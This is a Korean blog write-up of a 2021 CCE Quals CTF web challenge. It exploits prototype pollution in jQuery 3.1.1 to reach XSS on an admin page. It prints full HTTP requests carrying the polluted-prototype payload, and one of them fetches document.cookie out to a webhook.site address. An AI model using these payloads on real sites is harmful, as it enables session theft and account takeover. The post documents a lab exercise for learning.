티스토리 뷰

보안/CTF

[Web] GS25 - 2021 CCE Quals CTF Writeup

돔돔이부하 2021. 9. 29. 20:29
728x90
반응형

최근에 javascript prototype pollution 문제를 hackthebox 에서 풀어본 기억이 있습니다. web 문제 중에서 very easy 난이도에 해당하는 gunship 문제가 이에 해당하는데요. 이와 유사한 문제로 CCE Quals 에서 출제된 것을 확인해서 올려봅니다. 제목은 GS25 인데, prototypee pollution으로 javascript를 서버(관리자페이지)에 보내서 세션을 탈취해오는 것이 목적인 문제였습니다.

GS25 (285점)

Client 단에서 jquery 3.1.1 버전을 사용하고 있었고 해당 버전에는 Javascript Prototype Pollution 취약점이 존재했습니다. 참고 : https://snyk.io/vuln/SNYK-JS-JQUERY-174006

 

Snyk - Prototype Pollution in jquery

Learn how to fix Prototype Pollution affecting jquery package, versions <3.4.0 with 5.6 CVSS score.

snyk.io

POST /saveGame HTTP/1.1
Host: 20.194.62.226:4423
Content-Length: 192
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36
Content-Type: application/json;charset=UTF-8
Origin: http://20.194.62.226:4423
Referer: http://20.194.62.226:4423/
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: fileName=6106ecea-3918-4686-8b41-26ab6ce81163
Connection: close

{
    "data":
    {
        "score": 100,
        "accelateIntervalTime": 10000,
        "dropIntervalTime": 1000,
        "__proto__":
        {
            "__proto__":
            {
                "preventDefault": "x",
                "handleObj": "x",
                "delegateTarget": "<img/src/onerror=alert(1)>"
            }
        }
    }
}

테트리스 게임을 시작하고 l(소문자 L) 버튼을 눌러 response 페이로드의 code 값인 38d8a8fc-e3b3-428a-b44e-35eb35ce735a 을 load 해주면 아래와 같이 alert(1) 이 실행된 것을 확인할 수 있습니다.

client 사이드에서 XSS 가 가능함을 확인하였으니 http://20.194.62.226:3000/ 본 서버에 post request 로 filename 과 code를 전송하고 cookie 값을 탈취하면 플래그를 획득할 수 있었습니다.

 

POST /saveGame HTTP/1.1
Host: 20.194.62.226:4423
Content-Length: 271
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36
Content-Type: application/json;charset=UTF-8
Origin: http://20.194.62.226:4423
Referer: http://20.194.62.226:4423/
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: fileName=6106ecea-3918-4686-8b41-26ab6ce81163
Connection: close

{
    "data":
    {
        "score": 100,
        "accelateIntervalTime": 10000,
        "dropIntervalTime": 1000,
        "__proto__":
        {
            "__proto__":
            {
                "preventDefault": "x",
                "handleObj": "x",
                "delegateTarget": "<img/src/onerror='fetch(`https://webhook.site/d4cf505b-8dd9-449d-a208-9e67b710cf2b?q=`+document.cookie)'>"
            }
        }
    }
}

Client Side Prototype Pollution 참고 자료 : https://github.com/BlackFan/client-side-prototype-pollution/blob/master/gadgets/jquery.md

 

GitHub - BlackFan/client-side-prototype-pollution: Prototype Pollution and useful Script Gadgets

Prototype Pollution and useful Script Gadgets. Contribute to BlackFan/client-side-prototype-pollution development by creating an account on GitHub.

github.com

 

728x90
반응형
댓글